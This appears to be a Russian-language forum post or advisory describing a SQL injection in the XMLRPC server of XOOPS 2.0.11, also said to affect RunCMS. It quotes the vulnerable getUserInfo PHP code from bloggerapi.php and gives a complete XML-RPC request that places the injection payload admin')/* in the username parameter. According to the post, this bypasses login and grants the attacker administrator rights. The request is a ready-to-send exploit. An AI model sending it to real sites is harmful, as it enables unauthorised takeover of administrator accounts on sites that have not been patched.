SQL Инъекция:
Как и упоминалось раньше, XOOPS имеет свой XMLRPC сервер который активирован по умолчанию и имеет название xmlrpc.php Проблема с XMLRPC в xoops является недостаточная очистка ссылок, потому, что данные вводятся из $HTTP_RAW_POST_DATA Это большая ошибка, которая позволяет применить метод RPC в данной уязвимости XOOPS XMLRPC и провести SQL инъекцию. Как? приведем простой пример. Этот код из файла bloggerapi.php который сохраняет все XMLRPC запросы.
PHP код:
function getUserInfo()
{ if (!$this->_checkUser($this->params[1],
$this->params[2])) {
$this->response
->add(new XoopsXmlRpcFault(104));
} else { $struct = new XoopsXmlRpcStruct();
$struct->
add('nickname',
new XoopsXmlRpcString
($this->user->getVar('uname')));
$struct->
add('userid', new XoopsXmlRpcString
($this->user->getVar('uid')));
$struct->
add('url', new XoopsXmlRpcString
($this->user->getVar('url')));
$struct->
add('email', new XoopsXmlRpcString
($this->user->getVar('email')));
$struct->
add('lastname', new XoopsXmlRpcString(''));
$struct->add('firstname',
new XoopsXmlRpcString($this->user->getVar('name')));
$this->response->add($struct); } }
функция _checkUser на самом деле лишь "обертка" для XMLRPC сервера, так как аргументы передаются в XOOPS функцией ядра "loginUser()" с которой и есть настоящая проблема. Ниже приведен простой пример xml файла который отсылает серверу нужный RPC запрос:
PHP код:
<?xml version="1.0"?>
<methodCall>
<methodName>blogger.getPost</methodName>
<params>
<param>
<value><string></string></value>
</param>
<param>
<value><string></string></value>
</param>
<param>
<value><string>admin')/*</string></value>
</param>
<param>
<value><string>passwordfield</string></value>
</param>
<param>
<value><string></string></value>
</param>
</params>
</methodCall>
Здесь мы получаем доступ как у админа и затем исполняем метод blogger.getPost.
Атакующий получает администраторские привилегии с которыми можно делать всё, что угодно
=================================
Это-уязвимость в XOOPS 2.0.11. RunCMS базируется на xoops и также имеет риск проведения XML-RPC атаки.